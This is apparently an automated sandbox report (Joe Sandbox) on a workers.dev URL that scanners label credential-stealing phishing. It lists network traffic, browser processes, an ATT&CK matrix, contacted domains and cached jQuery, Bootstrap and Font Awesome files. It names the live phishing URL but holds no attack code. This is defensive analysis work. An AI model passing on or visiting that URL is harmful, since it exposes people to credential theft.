Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49774 version: TLS 1.2

Source: classification engine

Classification label: mal84.phis.win@28/36@20/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2004,i,16022649671315298078,13859410041468370579,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1992,i,14263432410768050684,433587216410726190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2044,i,7680465656722877014,17094009760014924907,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://worker-curly-silence-18d1.pistisarte.workers.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2004,i,16022649671315298078,13859410041468370579,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1992,i,14263432410768050684,433587216410726190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2044,i,7680465656722877014,17094009760014924907,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://worker-curly-silence-18d1.pistisarte.workers.dev/	100%	Avira URL Cloud	phishing
https://worker-curly-silence-18d1.pistisarte.workers.dev/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://www.html-code-generator.com	0%	Avira URL Cloud	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
www.google.com	142.251.40.196	true	false	high
api.ipify.org	104.26.13.205	true	false	high
part-0012.t-0009.t-msedge.net	13.107.213.40	true	false	unknown
worker-curly-silence-18d1.pistisarte.workers.dev	104.21.47.203	true	false	unknown
ka-f.fontawesome.com	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	high
https://api.ipify.org/?format=json	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	high
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgSaEMC5GPvMsLEGIjCY-2OZ1FtestAMHGk_Zl7jP5iIAEwEBPtsl5zqp0KiFr9Vf45Z-wKsEbzZITKCLZEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false	high
https://code.jquery.com/jquery-3.1.1.min.js	false	high
https://www.google.com/async/newtab_promos	false	high
https://code.jquery.com/jquery-3.3.1.js	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	high
https://worker-curly-silence-18d1.pistisarte.workers.dev/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_71.4.dr	false		high
http://jquery.org/license	chromecache_71.4.dr	false		high
https://ka-f.fontawesome.com	chromecache_69.4.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_71.4.dr	false		high
https://bugs.jquery.com/ticket/12359	chromecache_71.4.dr	false		high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_71.4.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_71.4.dr	false		high
https://promisesaplus.com/#point-75	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_71.4.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_71.4.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_71.4.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_71.4.dr	false		high
https://fontawesome.com/license/free	chromecache_76.4.dr, chromecache_74.4.dr, chromecache_84.4.dr, chromecache_79.4.dr	false		high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_71.4.dr	false		high
https://fontawesome.com	chromecache_76.4.dr, chromecache_74.4.dr, chromecache_84.4.dr, chromecache_79.4.dr	false		high
https://github.com/eslint/eslint/issues/6125	chromecache_71.4.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_71.4.dr	false		high
https://github.com/jquery/jquery/pull/557)	chromecache_71.4.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_82.4.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_71.4.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_71.4.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_71.4.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_71.4.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_78.4.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_71.4.dr	false		high
https://promisesaplus.com/#point-64	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://www.html-code-generator.com	chromecache_80.4.dr	false	Avira URL Cloud: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_71.4.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_71.4.dr	false		high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_71.4.dr	false		high
https://promisesaplus.com/#point-59	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_71.4.dr	false		high
https://promisesaplus.com/#point-57	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_71.4.dr	false		high
https://promisesaplus.com/#point-54	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_71.4.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_71.4.dr	false		high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_71.4.dr	false		high
https://jquery.org/license	chromecache_71.4.dr	false		high
https://kit.fontawesome.com	chromecache_69.4.dr	false		high
https://jquery.com/	chromecache_71.4.dr	false		high
https://getbootstrap.com)	chromecache_82.4.dr, chromecache_81.4.dr	false	Avira URL Cloud: safe	low
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_71.4.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_71.4.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_82.4.dr, chromecache_81.4.dr	false		high
https://promisesaplus.com/#point-48	chromecache_71.4.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_71.4.dr	false		high
https://sizzlejs.com/	chromecache_71.4.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_71.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.40.196	www.google.com	United States	15169	GOOGLEUS	false
13.107.213.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.47.203	worker-curly-silence-18d1.pistisarte.workers.dev	United States	13335	CLOUDFLARENETUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432386
Start date and time:	2024-04-27 00:10:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://worker-curly-silence-18d1.pistisarte.workers.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.win@28/36@20/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.227, 142.251.40.142, 142.251.111.84, 34.104.35.123, 72.21.81.240, 192.229.211.108, 142.251.40.106, 142.250.65.234, 104.18.40.68, 172.64.147.188, 142.250.72.99, 104.21.26.223, 172.67.139.119, 142.251.32.106, 142.251.41.10, 142.250.81.234, 142.250.72.106, 142.250.65.202, 142.251.40.138, 142.250.80.42, 142.250.80.74, 142.250.176.202, 142.250.65.170, 142.250.80.106, 142.251.40.170, 142.250.64.106, 142.251.35.170, 142.250.80.67, 142.251.41.14
Excluded domains from analysis (whitelisted): kit.fontawesome.com.cdn.cloudflare.net, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, ka-f.fontawesome.com.cdn.cloudflare.net, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://worker-curly-silence-18d1.pistisarte.workers.dev/

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	23
Entropy (8bit):	3.534219021180341
Encrypted:	false
SSDEEP:	3:YMpLUTOdrn:YMpLJn
MD5:	8C413C9D511C6A527C31B15185B24998
SHA1:	9E8ECB4CC1B448FFCA14D1F52BF13AA49D8B7DC5
SHA-256:	FD0B7642AA523635276BE2474F0E1BD0A793A373FAAB99FFFC76E2B2938C2ECF
SHA-512:	04F4452FFD417DE6E37F0B4E163C6E47FE79520646738D44598F91B89EEFD3F41B32C6DC096A6341EFAF129EF847AE678DA1A8A47E816BAB58D6C585DA3C422A
Malicious:	false
Reputation:	low
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"154.16.192.185"}

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11461)
Category:	downloaded
Size (bytes):	11893
Entropy (8bit):	5.198678335763684
Encrypted:	false
SSDEEP:	192:GO3pHufQPTACpF4Pvhzz6E/ra/sb4nZIPWfz3JBGvh3e1Q5l8h6LDeFTjC0:GdRCchzzYfnqejah3e1Q5l8h6vb0
MD5:	55D343A40C7166A79FD314F13CBB2E93
SHA1:	96904A849C32CA220E0AAA2AE3E81CF2B5CDF764
SHA-256:	A1F75D6278713A84A8F28A392C77CA8A6A7C32BF14314D4A34A6CE2F06CFDF7A
SHA-512:	518AC396E7F82899CAB4A6E3CB68116F2B599D680D015A1A8024926BC39E9A5D3ED68935B2150DA33AD41A9103E4CFD5031A7E89036901C972EEE257546BB1C5
Malicious:	false
Reputation:	low
URL:	https://kit.fontawesome.com/585b051251.js
Preview:	window.FontAwesomeKitConfig = {"id":132286382,"version":"5.15.4","token":"585b051251","method":"css","baseUrl":"https://ka-f.fontawesome.com","license":"free","asyncLoading":{"enabled":true},"autoA11y":{"enabled":true},"baseUrlKit":"https://kit.fontawesome.com","detectConflictsUntil":null,"iconUploads":{},"minify":{"enabled":true},"v4FontFaceShim":{"enabled":false},"v4shim":{"enabled":true},"v5FontFaceShim":{"enabled":false}};.!function(t){"function"==typeof define&&define.amd?define("kit-loader",t):t()}((function(){"use strict";function t(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function e(e){for(var n=1;n<arguments.length;n++){var o=null!=arguments[n]?arguments[n]:{};n%2?t(Object(o),!0).forEach((function(t){r(e,t,o[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(o)):

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
